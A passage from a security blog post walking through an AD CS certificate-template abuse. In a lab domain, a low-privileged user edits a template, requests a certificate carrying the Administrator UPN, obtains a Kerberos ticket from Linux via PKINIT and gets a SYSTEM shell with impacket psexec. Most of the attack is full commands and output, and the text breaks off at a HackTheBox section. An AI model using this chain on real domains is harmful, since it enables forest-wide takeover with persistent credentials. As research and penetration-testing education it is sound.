Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux

elkement.art/2020/06/21/impersonating-a-windows-enterprise-admin-with-a-certificate-kerberos-pkinit-from-linux

June 21, 2020

This is about a serious misconfiguration of a Windows Public Key Infrastructure integrated with Active Directory: If you can edit certificate templates, you can impersonate the Active Directory Forests's Enterprise Administrator by logging on with a client certificate. You have a persistent credential that will also survive the reset of this admin's password. In the past, I have demonstrated how to abuse this in a Windows-only environment, by creating a smart card on behalf of the Administrator or a logon certificate for a web application on Windows IIS. This time, I will show how to use only a Linux client and without a hardware key store.

01 Motivation and history

I have been inspired to do more research on this by the box Sizzle available on the hackthebox pentesting platform (2019 Write-Up): The Domain Controller 'Sizzle' had to be owned by exploiting two – other – AD loopholes. However, lo and behold, this machine also allowed the group Authenticated Users to change certificate templates (and it meets the other, common, prerequisites)!

I pwned the box using a very involved route using tools built into Windows: The Domain Admins were not allowed to logon using a (software) certificate through Powershell WinRM. Solution: I logged on with a physical token with a smartcard chip as this is the only 'native' way to start a Kerberos session using a certificate. As the Domain Controllers Kerberos port TCP 88 was not accessible, I had to spoof an Active Directory DNS server. I ended up with running Linux Kali as a 'socat gateway' routing traffic to the DC (using meterpreter routing), joining a Windows box to Sizzle's domain and run tools using the /smartcard option from there.

But I had been thinking – might there be a simpler way?

This article also documents my first ever attempt to use a Linux Kerberos client in a Windows domain – which was surprisingly easy.

02 Kerberos research

Logging on with a smart card to a Windows client in a domain or using command line tools with the **/smartcard** option means to use **Kerberos PKINIT** – a standardized extension to the Kerberos protocol. The (minimum) Linux client components to do this are the basic components included (e.g.) in the krb5-user package and krb5-pkinit.

I have not seen any constraint related to the type of key store: PKINIT should work if you configure the Kerberos client for certificates – making changes to the config file **/etc/krb5.conf** and/or the options to use with **kinit** – the tool to start the session and get the Ticket Granting Ticket.

The documentation for the Linux tools also mentions the naming attribute used in a Microsoft Kerberos realm explicitly: The 'Microsoft' **User Principal Name**. Each user has a logon name that looks like an e-mail address, if not set explicitly it is automatically equal to **sAMAccountname @ [FQDN of the user's home domain]**. If a certificate has this name in its Subject Alternative Name, it would automatically be mapped onto the corresponding user. This is explained in detail in Microsoft's white paper(s) on Smart Card Architecture; for details on name routing see this part on Certificate Requirements and Enumeration, especially this figure on certificate processing logic.

Re Kerberos protocols and tickets basics, I still find this old Microsoft article very good: How the Kerberos Version 5 Authentication Protocol Works – explaining every step, with figures that show which key and ticket are held by each party at each step.

After researching Kerberos PKINIT I have been quite confident I should be able to get a Kerberos ticket on a properly configured Linux client (once the Kerberos port has been exposed by 'routing' it through some hacker tool the low privileged user has started).

How to actually use the ticket? The tools that came to my mind were the impacket 'example' tools: **smbexec.py, psexec.py, wmiexec.py**. All of them have an option to supply an existing Kerberos ticket instead of using a password.

03 Setting up the test environment

Before returning to Sizzle I wanted to check all the steps, using a DC to which I have unrestricted access. I set up a DC and a domain member with minimum customization:

On a fresh Windows Server 2019 Core Installation I add the DC role service and configure the AD forest …

```
Install-WindowsFeature 'Ad-Domain-Services'
Install-ADDSForest -InstallDns -DomainName 'testdomain.local'
```

… then add a low-privileged user, also calling her amanda to honor Sizzle on hackthebox :-)

```
net user /ADD amanda sizzle123!
```

This user is allowed to start a Powershell session using WinRM. On hackthebox this was needed as there was only a single box and this was the DC that also held the user flag. In my Linux-Windows environment the user needs to be able to run Powershell commands on some machine in the domain – it would not have to be a Domain Controller.

```
net localgroup "Remote Management Users" amanda /ADD
```

Adding a next-next-finish PKI … which is what sometimes happens in the real world when an AD-integrated PKI is installed quickly because some tool requires certificates:

```
Install-WindowsFeature 'Adcs-Cert-Authority'
Install-AdcsCertificationAuthority -CACommonName 'Test Enterprise Root CA' -
CADistinguishedNameSuffix 'O=Test Company,C=AT' -CAType EnterpriseRootCA -
CryptoProviderName 'RSA#Microsoft Software Key Storage Provider' -KeyLength 2048 -
HashAlgorithmName SHA256 -ValidityPeriod 'Years' -ValidityPeriodUnits 10
Install-WindowsFeature 'Adcs-Web-Enrollment'
Install-AdcsWebEnrollment
```

I create a fresh Windows 10 Pro Edition virtual machine and use the Microsoft GUI tools to

- Configure the machine pki.testdomain.local as the DNS server (Properties of the networking adapter)
- Join this box to the domain from System, Properties – providing amanda's credentials (Explorer/Properties of This Computer/Change Settings for Computer name, domain, …)

Yes, a normal user can join their machine to a domain! I had used that fact many years ago when I had to renew my smart card in a large corporate environment though I hardly ever visited the office. I connected over VPN and joined my test machine to the domain.

04 Test the user's access

amanda can successfully start a session on the DC machine pki.testdomain.local

```
Enter-PSsession -computername PKI -cred testdomain\amanda
```

(The password is prompted for, via an Windows-XP-style pop-up)

amanda is not able to interactively logon to the DC: Running …

```
runas /user amanda cmd
```

results in an error as she **has not been granted the requested logon type**.

From a Linux client, amanda can logon using evil-winrm

```
/opt/evil-winrm# ./evil-winrm.rb -i [IP_of_pki.testdomain.local] -u amanda -p
sizzle123!
```

05 Misconfiguring certificate templates

On Sizzle Authenticated Users (= every user and every machine account in the Forest) had Full Control on one template. For this test I copy the default template named **WebServer** using the management console **certtmpl.msc**, and rename the duplicate to **WebServer2**, and give only the amanda user permission.

The Administrator of the domain TESTDOMAIN gives amanda full control over this template. I am old school so I like pre-Powershell **dsacls** :-) (GA – 'Generic All')

```
dsacls "CN=WebServer2,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=testdomain,DC=local" /G amanda:GA
    ...
     Allow TESTDOMAIN\amanda          SPECIAL ACCESS
                                      READ PERMISSONS
                                      WRITE PERMISSIONS
                                      CHANGE OWNERSHIP
                                      LIST CONTENTS
                                      WRITE PROPERTY
                                      READ PROPERTY
    Allow TESTDOMAIN\Domain Admins    SPECIAL ACCESS
                                      DELETE
                                      READ PERMISSONS
                                      WRITE PERMISSIONS
                                      CHANGE OWNERSHIP
                                      CREATE CHILD
                                      DELETE CHILD
                                      LIST CONTENTS
                                      WRITE SELF
                                      WRITE PROPERTY
                                      READ PROPERTY
                                      DELETE TREE
                                      LIST OBJECT
    ...
```

So amanda has still fewer permissions than the other admins, but they are (obviously – see below) sufficient for what I will do next.

The template is then made available at the local CA – ‘published’ to the CA:

```
certutil -setcatemplates +WebServer2
```

Windows domain clients search for templates they have Enroll permission to in AD configuration container, but they will only try to submit a certificate request when they find a CA where this template is published = referenced in the CA’s Enrollment Services Object’s certificateTemplates attribute.

06 Domain Controller certificates

One pre-requisite for smart card logon I haven’t not mentioned so far – as it is usually met in any next-next-finish Windows PKI environment: Also DCs need to have certificates – authentication is mutual! The user shows their certificate to the server and the server to the user. There are three different kinds of DC certificates, dating from different periods, and all of them allow for smart card logon. The oldest template, **DomainController,** is associated with the hard-coded Windows-2000-style of Automatic Certificate Enrollment – the precursor of Windows 2003/XP and later Autoenrollment: DCs will enroll for that certificate if an AD-integrated PKI is there, without further configuration.

Checking for the presence of the certificate as the domain admin gives the expected output: Info on the certificate of the CA, and on one suitable KDC certificate associated with the template **DomainController**.

```
certutil -dcinfo
0: PKI

*** Testing DC[0]: PKI
** Enterprise Root Certificates for DC PKI
Certificate 0:
Serial Number: 709fa84cd966c3a8425a96a165d375ec
Issuer: CN=Test Enterprise Root CA, O=Test Company, C=AT
NotBefore: 24/05/2020 23:29
NotAfter: 24/05/2030 23:39
Subject: CN=Test Enterprise Root CA, O=Test Company, C=AT
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 8f13249e066fe679967d6b158600711eb90fd2fd

** KDC Certificates for DC PKI
Certificate 0:
Serial Number: 3b000000023f89754f7b3b2d6d000000000002
Issuer: CN=Test Enterprise Root CA, O=Test Company, C=AT
NotBefore: 24/05/2020 23:32
NotAfter: 24/05/2021 23:32
Subject: CN=PKI.testdomain.local
Certificate Template Name (Certificate Type): DomainController
Non-root Certificate
Template: DomainController, Domain Controller
Cert Hash(sha1): e12f6208629bfb92fa36f4abd2ba0429a8919edd

1 KDC certificates for PKI
```

Actually, I sometimes had to reboot my DC after it had automatically enrolled the certificate, to make it play nicely and really use this certificate in a PKINIT session. (On Sizzle this was not an issue).

07 A curious user inspects certificate templates

On hackthebox Sizzle the user amanda was only able to logon via WinRM using a client certificate. I did not replicate that as the only thing I finally need is a constrained PSSession, so amanda is allowed to logon using her password – and constrains herself after logging on :-)

```
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
```

This is just a pre-caution to prevent myself from using ‘too flexible commands’. But I am not going to use any Powershell commands anyway that require to create objects or the like!

amanda uses certutil – which is Windows’ equivalent of openssl (combined with the tool for requests, certreq) to inspect certificate templates in Active Directory.

Checking templates available at the local CA (If this would be run from another machine in AD, the -config option would be required to target a CA):

```
certutil -catemplates
WebServer2: Web Server 2 -- Auto-Enroll
DirectoryEmailReplication: Directory Email Replication -- Access is denied.
DomainControllerAuthentication: Domain Controller Authentication -- Access is
denied.
KerberosAuthentication: Kerberos Authentication -- Access is denied.
EFSRecovery: EFS Recovery Agent -- Access is denied.
EFS: Basic EFS -- Auto-Enroll: Access is denied.
DomainController: Domain Controller -- Access is denied.
WebServer: Web Server -- Access is denied.
Machine: Computer -- Access is denied.
User: User -- Auto-Enroll: Access is denied.
SubCA: Subordinate Certification Authority -- Access is denied.
Administrator: Administrator -- Access is denied.
CertUtil: -CATemplates command completed successfully.
```

amanda notices she could immediately enroll for the Web Server 2 template – thus she focuses on this one. Of course, she might be denied enroll access but still be able to edit the template, so the permissions of all templates should be investigated.

Using the verbous option -v shows permissions in a nice way:

```
certutil -v -dstemplate webserver2
...
Allow Enroll TESTDOMAIN\Domain Admins
Allow Enroll TESTDOMAIN\Enterprise Admins
Allow Write TESTDOMAIN\amanda
Allow Full Control TESTDOMAIN\Domain Admins
Allow Full Control TESTDOMAIN\Enterprise Admins
Allow Full Control TESTDOMAIN\Administrator
Allow Full Control TESTDOMAIN\amanda
Allow Read NT AUTHORITY\Authenticated Users
```

Adding the option -v when viewing objects or registry keys with certutil always shows the options encoded into otherwise enigmatic bitmasks, so amanda notices that 1) no manager approval is required for this certificate template – requests are not pending – and 2) names can be supplied in the request (the usual config for web server certificates).

```
certutil -v -dstemplate webserver2
    ...
    msPKI-Enrollment-Flag = "0"
      (CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1)
      (CT_FLAG_PEND_ALL_REQUESTS -- 2)
    ...
    msPKI-Certificate-Name-Flag = "1"
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
```

This does not require the dangerous flag EDITF_ATTRIBUTESUBJECTALTNAME2 to be set at the CA (which isn't in this test environment) – that flag would allow custom SANs to be added with any certificate template, not only for the ones where you can submit custom subject names.

But the template only has the EKU for Server Authentication so far. Application Policy is (AFAIK) a Microsoft-specific way to encode the same information as EKU:

```
certutil -v -dstemplate webserver2
    ...
    pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1" Server Authentication
    msPKI-Certificate-Application-Policy = "1.3.6.1.5.5.7.3.1" Server
Authentication
    ...
```

08 Modifying certificate templates

To make a certificate eligible for smart card logon, we need to add the respective OID for Smart Card Logon 1.3.6.1.4.1.311.20.2.2 to the list of extended key usages and also application policies. Note that changing templates like that is not supported by Microsoft so you should never do that in a production PKI as weird things may happen! The supported way is to copy an existing template in the templates management console, certtmpl.msc, and edit the duplicate there.

amanda changes the template using the standard Powershell command for adding attributes to a multi-valued attribute in AD.

```
$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
Set-ADObject "CN=WebServer2,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=testdomain,DC=local" -Add
@{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}
```

09 Creating the admin key and certificate request file

This time on Linux, with openssl!

I wanted to add the user's full distinguished name to the subject name although that should not matter for smart card logon (if everything is configured with defaults). But theoretically, settings for custom name routing could be in place or you might be interesting in hacking a different application that actually uses the DN. So I want to replicate the exact DN.

As the Administrator's DN has two CN and two DC components in it, it seems you cannot do that via an openssl cnf file only (then only one CN and one DC would be added). Solution: I add only a CN to the config file, and specify the full DN inline in the openssl command. Note that you do not need / it does not make sense to add any attributes that will be dominated by the template, like the extended key usages.

Shell script for creating the config file **admin.cnf** and generating key and request:

```
    cnffile="admin.cnf"
    reqfile="admin.req"
    keyfile="admin.key"

    dn="/DC=local/DC=testdomain/CN=Users/CN=Administrator"

    cat > $cnffile <<EOF
    [ req ]
    default_bits = 2048
    prompt = no
    req_extensions = user
    distinguished_name = dn

    [ dn ]
    CN = Administrator

    [ user ]
    subjectAltName = otherName:msUPN;UTF8:administrator@testdomain.local

    EOF

    openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -
keyout $keyfile
```

Request as analyzed with openssl – the UPN cannot be ‘resolved’:

```
openssl req -in admin.req -text -noout
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: DC = local, DC = testdomain, CN = Users, CN = Administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:d3:a1:c5:9a:ad:f0:e2:a1:9f:f8:26:26:e2:
                    10:d0:d5:7d:60:d7:52:f3:75:f3:44:51:a2:f6:2c:
                    d5:d8:68:20:2c:df:44:0c:31:61:c5:1a:eb:91:3a:
                    37:f0:73:23:c3:a1:51:aa:86:13:be:76:85:03:8a:
                    ae:62:29:2a:c8:61:ec:f7:01:64:a0:78:a7:fc:9d:
                    00:97:08:fd:b0:ee:29:22:56:e4:b8:91:5e:40:a0:
                    05:2e:c3:11:be:f7:b7:9c:a6:70:bd:7b:0d:d9:3b:
                    bb:92:1a:da:6b:76:45:27:d9:29:5d:85:1b:02:39:
                    22:b4:23:da:ac:82:94:9a:f2:aa:c9:f2:27:84:60:
                    2d:ae:30:6a:ac:21:c5:db:0d:e9:02:35:de:ba:60:
                    6f:f1:8d:29:78:98:4f:00:1e:7c:f6:31:a6:1d:85:
                    32:32:5b:8e:4f:4d:fc:59:b8:ff:a5:c4:6a:64:21:
                    fc:5e:ca:e7:76:5e:6c:78:fc:40:69:e0:57:77:79:
                    e3:4f:d4:54:57:4a:9e:38:bc:a5:cd:70:5d:84:4d:
                    d3:aa:0f:75:bb:f2:05:a0:5c:29:6f:57:1a:6c:d0:
                    56:a2:60:61:a7:1f:d1:e9:df:01:a0:60:fd:07:2b:
                    ba:49:43:65:27:7d:c2:c1:54:e7:b5:28:2c:e6:c7:
                    f7:65
                Exponent: 65537 (0x10001)
        Attributes:
        Requested Extensions:
            X509v3 Subject Alternative Name:
                othername:
    Signature Algorithm: sha256WithRSAEncryption
         4c:26:62:86:f1:06:14:8b:d1:87:a7:24:82:93:a3:9c:d9:0a:
         bb:8a:6b:1a:87:7b:ec:52:ce:6c:73:a5:f7:82:9b:0f:ab:75:
         a3:03:33:7d:87:2d:56:da:21:fa:20:ee:fe:ef:c7:51:d9:2b:
         6b:a2:4b:88:eb:03:93:e4:cb:3a:6b:1e:22:a7:cc:4f:cc:f4:
         1e:03:e0:8b:4c:77:51:9f:78:ec:16:12:4a:9a:e5:66:27:b8:
         88:7f:32:09:43:59:23:c1:bb:6c:ec:9f:a1:4c:42:1f:3b:5f:
         39:ac:5e:bf:64:5d:ca:0b:db:68:df:27:09:97:dd:cb:f1:7f:
         64:7f:93:08:ba:3e:df:39:39:19:e8:14:a5:fb:65:ce:67:c5:
         7b:9c:13:ba:49:91:5c:24:b9:26:9e:e4:f6:c5:e0:89:35:ee:
         69:45:c2:cd:05:92:3a:12:53:e7:d5:f4:91:80:b1:52:42:bb:
         76:de:e8:8d:b8:2a:18:d6:d5:2c:aa:fa:a3:83:0b:92:be:59:
         83:7c:04:59:83:2c:30:4a:60:6e:9d:19:ae:31:19:64:59:05:
         81:27:78:66:ee:68:ed:a4:75:45:c1:13:a5:9b:fd:0c:7e:3c:
         92:9f:23:d0:c2:9e:08:00:0f:66:d2:9a:1d:b9:f9:71:92:79:
         48:5f:d8:6d
```

10 Submit the request

The CA runs the web enrollment role – a simple ASP web application.

See extensive screenshots on how to do this in the Sizzle post!

You paste the BASE64 encoded request and select your template (**Web Server 2**) from the list, and you can download the certificate immediately. If the template would have been configured for CA Manager approval, amanda could have changed that with certutil before.

openssl dump of the certificate – the UPN is not displayed, but the changed EKUs and all the other attributes embedded by the CA are visible:

```
openssl x509 -in admin.cer  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            3b:00:00:00:08:5c:fa:31:72:39:f6:4e:e6:00:00:00:00:00:08
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AT, O = Test Company, CN = Test Enterprise Root CA
        Validity
            Not Before: May 27 10:55:55 2020 GMT
            Not After : May 27 10:55:55 2022 GMT
        Subject: DC = local, DC = testdomain, CN = Users, CN = Administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:d3:a1:c5:9a:ad:f0:e2:a1:9f:f8:26:26:e2:
                    10:d0:d5:7d:60:d7:52:f3:75:f3:44:51:a2:f6:2c:
                    d5:d8:68:20:2c:df:44:0c:31:61:c5:1a:eb:91:3a:
                    37:f0:73:23:c3:a1:51:aa:86:13:be:76:85:03:8a:
                    ae:62:29:2a:c8:61:ec:f7:01:64:a0:78:a7:fc:9d:
                    00:97:08:fd:b0:ee:29:22:56:e4:b8:91:5e:40:a0:
                    05:2e:c3:11:be:f7:b7:9c:a6:70:bd:7b:0d:d9:3b:
                    bb:92:1a:da:6b:76:45:27:d9:29:5d:85:1b:02:39:
                    22:b4:23:da:ac:82:94:9a:f2:aa:c9:f2:27:84:60:
                    2d:ae:30:6a:ac:21:c5:db:0d:e9:02:35:de:ba:60:
                    6f:f1:8d:29:78:98:4f:00:1e:7c:f6:31:a6:1d:85:
                    32:32:5b:8e:4f:4d:fc:59:b8:ff:a5:c4:6a:64:21:
                    fc:5e:ca:e7:76:5e:6c:78:fc:40:69:e0:57:77:79:
                    e3:4f:d4:54:57:4a:9e:38:bc:a5:cd:70:5d:84:4d:
                    d3:aa:0f:75:bb:f2:05:a0:5c:29:6f:57:1a:6c:d0:
                    56:a2:60:61:a7:1f:d1:e9:df:01:a0:60:fd:07:2b:
                    ba:49:43:65:27:7d:c2:c1:54:e7:b5:28:2c:e6:c7:
                    f7:65
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Alternative Name:
                othername:
            X509v3 Subject Key Identifier:
                D9:AD:2A:29:17:4B:AF:FC:56:33:7F:0A:DF:7A:DE:EE:5E:68:15:F0
            X509v3 Authority Key Identifier:
                keyid:A7:33:40:97:94:83:1B:3E:CE:05:B3:00:BA:20:D6:16:79:2D:97:95

            X509v3 CRL Distribution Points:

                Full Name:

URI:ldap:///CN=Test%20Enterprise%20Root%20CA,CN=PKI,CN=CDP,CN=Public%20Key%20Servic
certificateRevocationList?base?objectClass=cRLDistributionPoint

            Authority Information Access:
                CA Issuers -
URI:ldap:///CN=Test%20Enterprise%20Root%20CA,CN=AIA,CN=Public%20Key%20Services,CN=S
cACertificate?base?objectClass=certificationAuthority

            X509v3 Key Usage: critical
```

```
                Digital Signature, Key Encipherment
            1.3.6.1.4.1.311.21.7:
                0..&+.....7.....Y...X...?...).....u...0..|..d...
            X509v3 Extended Key Usage:
                Microsoft Smartcardlogin, TLS Web Client Authentication, TLS Web
Server Authentication
            1.3.6.1.4.1.311.21.10:
                0&0..
+.....7...0
..+.......0
..+.......
    Signature Algorithm: sha256WithRSAEncryption
         7d:ee:48:22:d2:4f:7a:e0:44:bc:50:2d:05:9b:04:46:2d:9e:
         ba:b1:4a:a5:f8:2e:77:c1:96:0d:60:86:07:33:28:23:a3:a6:
         88:c4:78:a5:b9:9a:9d:30:cb:c5:8a:8c:37:60:05:5f:8c:25:
         6c:5e:d0:98:b6:32:44:3d:ce:00:3a:08:41:ec:3f:f3:d2:2f:
         40:04:f2:15:60:31:3f:29:9b:b1:3d:3c:1a:30:b6:7b:bd:ec:
         71:c5:e4:9f:9e:a3:e8:46:65:e6:1b:72:63:2f:e8:e9:29:96:
         f8:13:d9:85:60:cc:58:03:ea:85:1c:bb:43:5b:d5:d6:12:d9:
         57:dd:d1:3e:66:fb:11:78:fa:05:e5:a5:37:10:b3:4c:80:af:
         ee:bc:ff:b4:29:bf:54:09:08:0f:cf:a6:af:61:06:74:c3:a2:
         60:5e:84:ab:d0:6e:56:c8:89:5c:8c:7e:5f:e6:70:93:05:d5:
         9c:35:2e:e9:28:c6:8b:33:ea:87:f5:31:9a:c4:ea:86:8c:53:
         e0:3c:bb:db:04:da:88:f9:7e:1f:d6:79:06:5d:49:61:92:b1:
         20:39:de:c7:33:7b:a8:77:ba:8c:a4:95:e3:a8:f3:d8:65:1a:
         da:e7:b5:ef:b9:ee:b7:a1:a8:7a:8b:3b:4f:d1:11:d2:b2:8a:
         71:70:28:cb
```

Dumping the same certificate with certutil on a Windows box shows the UPN:

```
certutil admin.cer
...
Certificate Extensions: 9
    2.5.29.17: Flags = 0, Length = 32
    Subject Alternative Name
        Other Name:
             Principal Name=Administrator@TESTDOMAIN.LOCAL
...
```

11 Linux Kerberos client configuration overview

On a Kali Linux client that has network access to the DC pki.testdomain.local, I install the basic package …

```
apt install krb5-user
```

… and I am prompted for the name of the **KDC**, the **authoritative (password-changing) DC** – both pki-testdomain.local and the **realm**, testdomain.local. These data are automatically added to the krb5.conf file.

In addition, I install the pkinit package for the certificate-based logon:

```
apt install krb5-pkinit
```

!!! Note !!! The realm actually needs to be in capital letters – otherwise kinit will fail! I learned it from troubleshooting threads in forums.

In the **/etc/krb5.conf** file of the Linux client the following has to be configured:

- **The default realm** = name of the domain you are going to 'join' the client, so a (K)DC will automatically be contacted when you start a PKINIT session. I did not test this with a realistic environment with multiple domains in an AD forest – the realm might either be the user's home domain or the root domain = name of the actual Kerberos realm / AD forest.
- The name of the **KDC = Kerberos Distribution Center** = name of the DC. Again I am not 100% sure about multiple domains, I added the only DC of the only domain I had.
- Relax constraints on certificates by **not requiring special KDC OIDs** (Object IDs for extended key usages) in the DC's server certificate. You could set those if you configure you DC to auto-enroll the newest type of KDC template, but this might rather not be set in a next-next-finish PKI.
- For using PKINIT – **certificate and key stores**: Where to find 1) your personal client certificate and key and 2) where to find the corresponding CA certificate. In the Windows domain, the latter is done by storing the Enterprise PKI certificate in the **NTAuth** object in AD from where every client in the forest will download it. <– This is the critical step! Not every CA trusted on Windows would automatically also be trusted for AD logon.

12 First Kerberos test: User name and password

To confirm that Kerberos without certificates I used this simple **krb5.conf** file (omitting the default realms also added automatically, universities etc.)

```
[libdefaults]
    default_realm = TESTDOMAIN.LOCAL
...
[realms]
    testdomain.local = {
            kdc = pki.TESTDOMAIN.LOCAL
            admin_server = pki.TESTDOMAIN.LOCAL
    }
...
```

Adding pki.testdomain.local to /etc/hosts, asking for a Kerberos ticket on the Linux client with **kinit**, then checking the ticket with **klist**. It works both for amanda and for the Administrator:

```
kinit amanda@TESTDOMAIN.LOCAL
    Password for amanda@TESTDOMAIN.LOCAL:

klist
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: amanda@TESTDOMAIN.LOCAL

    Valid starting       Expires              Service principal
    05/25/2020 14:21:38  05/26/2020 00:21:38
krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL
            renew until 05/26/2020 14:21:32

...
kinit Administrator@TESTDOMAIN.LOCAL
    Password for Administrator@TESTDOMAIN.LOCAL:

    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: Administrator@TESTDOMAIN.LOCAL

    Valid starting       Expires              Service principal
    05/25/2020 14:37:27  05/26/2020 00:37:27
krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL
            renew until 05/26/2020 14:37:22
```

13 Preparing krb5.conf for PKINIT

I am adding the information about the CA certificate's location, the user's key and certificate file, and I am relaxing requirements for KDC certificates:

```
...
[realms]
        TESTDOMAIN.LOCAL = {
                kdc = pki.TESTDOMAIN.LOCAL
                admin_server = pki.TESTDOMAIN.LOCAL
                pkinit_anchors = FILE:/research/_Kerberos-Certificates/ca.cer
                pkinit_identites = FILE:/research/_Kerberos-
Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key
                pkinit_kdc_hostname = PKI.testdomain.local
                pkinit_eku_checking = kpServerAuth
        }
...
```

According to the documentation as I understood it, this should be sufficient. As an *alternative*, you could also add the certificate information as a command line option when starting **kinit**, using this option:

```
kinit -X X509_user_identity=FILE:/research/_Kerberos-
Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key
Administrator@TESTDOMAIN.LOCAL
```

For me however, pkinit only worked when specifying this additional parameter *in addition* to krb5.conf.

14 kinit as the Administrator: Getting a Ticket Granting Ticket

Now, the big moment:

With kinit you are not prompted for a password and you get a ticket! The ticket file has a pointer to the certificate files:

```
kinit -X X509_user_identity=FILE:/research/_Kerberos-
Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key
Administrator@TESTDOMAIN.LOCAL

cat /tmp/krb5cc_0

    AdministratorTESTDOMAIN.LOCALkrbtgtTESTDOMAIN.LOCAL ...
[non-readable characters deleted]
...
... TESTDOMAIN.LOCAL
    AdministratorX-
CACHECONF:krb5_ccache_conf_datapa_type(krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL16TE

                X-
CACHECONF:krb5_ccache_conf_datapa_config_data(krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LO
Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key"}
```

Sniffing the traffic shows that the client sends a request for a TGT – AS_REQ – and gets a reply – AS_REP.

15 Using the ticket with impacket tools: System shell!

The next big moment!

impacket tools needs to know where the ticket is and this variable is not set per default:

```
export KRB5CCNAME=/tmp/krb5cc_0
```

In **psexec.py**, no password is provided (or prompted for), but Kerberos authentication is used via options **-k -no-pass**. I get a system shell!

\o/

```
python /usr/share/doc/python3-impacket/examples/psexec.py
testdomain.local/Administrator@pki.testdomain.local -k -no-pass -dc-ip
192.168.77.92
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on pki.testdomain.local.....
[*] Found writable share ADMIN$
[*] Uploading file xJAPjSfr.exe
[*] Opening SVCManager on pki.testdomain.local.....
[*] Creating service wOKr on pki.testdomain.local.....
[*] Starting service wOKr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1217]
(c) 2018 Microsoft Corporation. All rights reserved

C:\Windows\system32>whoami
nt authority\system
```

\o/

Sniffing the traffic: The client indeed presents its TGT in the request for a Service Ticket (TGS_REQ) and receives it (TGS_REP):

```
> Transmission Control Protocol, Src Port: 88, Dst Port: 51924, Seq: 1, Ack: 1620, Len: 1688
v Kerberos
  > Record Mark: 1684 bytes
  v tgs-rep
      pvno: 5
      msg-type: krb-tgs-rep (13)
      crealm: TESTDOMAIN.LOCAL
    v cname
        name-type: kRB5-NT-PRINCIPAL (1)
      v cname-string: 1 item
          CNameString: Administrator
    v ticket
        tkt-vno: 5
        realm: TESTDOMAIN.LOCAL
      v sname
          name-type: kRB5-NT-SRV-INST (2)
        v sname-string: 2 items
            SNameString: cifs
            SNameString: pki.testdomain.local
      v enc-part
          etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
          kvno: 3
          cipher: 26307617385d6e79c19b0fa41a752398b2ef82d08290ef6e...
    v enc-part
        etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
        cipher: 1898287eb158d29598cddfd333d8411dd0a9d3ae2d498f48...
```

```
0030  20 14 22 f9 00 00 00 00  06 94 6d 82 06 90 30 82   ·"····· ··m···0·
0040  06 8c a0 03 02 01 05 a1  03 02 01 0d a3 12 1b 10   ········ ········
0050  54 45 53 54 44 4f 4d 41  49 4e 2e 4c 4f 43 41 4c   TESTDOMA IN.LOCAL
0060  a4 1a 30 18 a0 03 02 01  01 a1 11 30 0f 1b 0d 41   ··0····· ···0···A
0070  64 6d 69 6e 69 73 74 72  61 74 6f 72 a5 82 05 2e   dministr ator····.
0080  61 82 05 2a 30 82 05 26  a0 03 02 01 05 a1 12 1b   a··*0··& ········
0090  10 54 45 53 54 44 4f 4d  41 49 4e 2e 4c 4f 43 41   ·TESTDOM AIN.LOCA
00a0  4c a2 27 30 25 a0 03 02  01 02 a1 1e 30 1c 1b 04   L·'0%··· ····0···
00b0  63 69 66 73 1b 14 70 6b  69 2e 74 65 73 74 64 6f   cifs··pk i.testdo
00c0  6d 61 69 6e 2e 6c 6f 63  61 6c a3 82 04 e0 30 82   main.loc al····0·
00d0  04 dc a0 03 02 01 12 a1  03 02 01 03 a2 82 04 ce   ········ ········
00e0  04 82 04 ca 26 30 76 17  38 5d 6e 79 c1 9b 0f a4   ····&0v· 8]ny····
00f0  1a 75 23 98 b2 ef 82 d0  82 90 ef 6e 9e 1c 8d 7f   ·u#····· ···n····
0100  c7 5b 26 28 49 dc 06 4e  f5 45 4d 47 cc 0d bd f0   ·[&(I··N ·EMG····
0110  84 3f ae fe 43 8d 24 51  45 35 4d 23 9b bf 8d 44   ·?··C·$Q E5M#···D
0120  a8 4f 7d 98 54 5a f5 a3  10 f2 b1 5e e1 e9 f4 b1   ·O}·TZ·· ···^····
0130  dd 09 2a 45 64 f1 7a 0a  bc 61 b4 85 46 3b 8d d4   ··*Ed·z· ·a··F;··
0140  8e 39 3b 4f b3 a9 70 2f  38 15 75 e1 37 e2 ed 3d   ·9;O··p/ 8·u·7··=
```

16 Back to hackthebox Sizzle!

Just to be 100% sure I did not let some custom config slip in that made my life too easy, I will also own Sizzle again with this method :-) The main additional steps to get to the actual admin hack are:

- Enroll for a client certificate as amanda as this is required for the PSSession.
